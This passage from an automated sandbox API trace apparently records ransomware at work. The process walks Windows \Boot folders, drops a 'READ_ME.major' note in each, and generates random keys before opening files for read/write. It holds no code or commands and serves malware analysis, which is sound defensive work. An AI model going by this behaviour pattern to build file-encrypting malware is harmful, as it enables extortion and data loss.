dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0143.588] FindNextFileW (in: hFindFile=0x60f528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0143.588] FindNextFileW (in: hFindFile=0x60f528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0143.589] FindNextFileW (in: hFindFile=0x60f528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0143.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.589] FindNextFileW (in: hFindFile=0x60f528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] GetLastError () returned 0x5 [0143.589] SetLastError (dwErrCode=0x5) [0143.589] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.589] FindNextFileW (in: hFindFile=0x60f528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.591] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.591] SetFileAttributesW (lpFileName="\\Boot\\qps-ploc\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0143.591] CreateFileW (lpFileName="\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.591] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.591] SetFileAttributesW (lpFileName="\\Boot\\qps-ploc\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.592] CreateFileW (lpFileName="\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e228 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e458 | out: hHeap=0x570000) returned 1 [0143.592] FindFirstFileW (in: lpFileName="\\Boot\\Resources\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f668 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.592] GetLastError () returned 0x5 [0143.592] SetLastError (dwErrCode=0x5) [0143.592] GetLastError () returned 0x5 [0143.592] SetLastError (dwErrCode=0x5) [0143.592] GetLastError () returned 0x5 [0143.592] SetLastError (dwErrCode=0x5) [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0143.592] FindNextFileW (in: hFindFile=0x60f668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f128 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f128 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.593] FindNextFileW (in: hFindFile=0x60f668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0143.593] FindNextFileW (in: hFindFile=0x60f668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0143.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] GetLastError () returned 0x5 [0143.593] SetLastError (dwErrCode=0x5) [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0143.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.594] GetLastError () returned 0x5 [0143.594] SetLastError (dwErrCode=0x5) [0143.594] GetLastError () returned 0x5 [0143.594] SetLastError (dwErrCode=0x5) [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0143.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.594] GetLastError () returned 0x5 [0143.594] SetLastError (dwErrCode=0x5) [0143.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0143.594] CreateFileW (lpFileName="\\Boot\\Resources\\en-US\\READ_ME.major" (normalized: "c:\\boot\\resources\\en-us\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x550 [0143.595] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.595] WriteFile (in: hFile=0x550, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.596] CloseHandle (hObject=0x550) returned 1 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0143.596] FindNextFileW (in: hFindFile=0x60f668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.596] GetLastError () returned 0x0 [0143.596] SetLastError (dwErrCode=0x0) [0143.596] GetLastError () returned 0x0 [0143.596] SetLastError (dwErrCode=0x0) [0143.596] GetLastError () returned 0x0 [0143.596] SetLastError (dwErrCode=0x0) [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.596] FindNextFileW (in: hFindFile=0x60f668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.596] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.596] SetFileAttributesW (lpFileName="\\Boot\\Resources\\bootres.dll", dwFileAttributes=0x80) returned 0 [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0143.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0143.596] CreateFileW (lpFileName="\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e480 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0e8 | out: hHeap=0x570000) returned 1 [0143.597] FindFirstFileW (in: lpFileName="\\Boot\\ro-RO\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f3e8 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0143.597] GetLastError () returned 0x5 [0143.597] SetLastError (dwErrCode=0x5) [0143.597] GetLastError () returned 0x5 [0143.597] SetLastError (dwErrCode=0x5) [0143.597] GetLastError () returned 0x5 [0143.597] SetLastError (dwErrCode=0x5) [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.597] FindNextFileW (in: hFindFile=0x60f3e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.597] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | 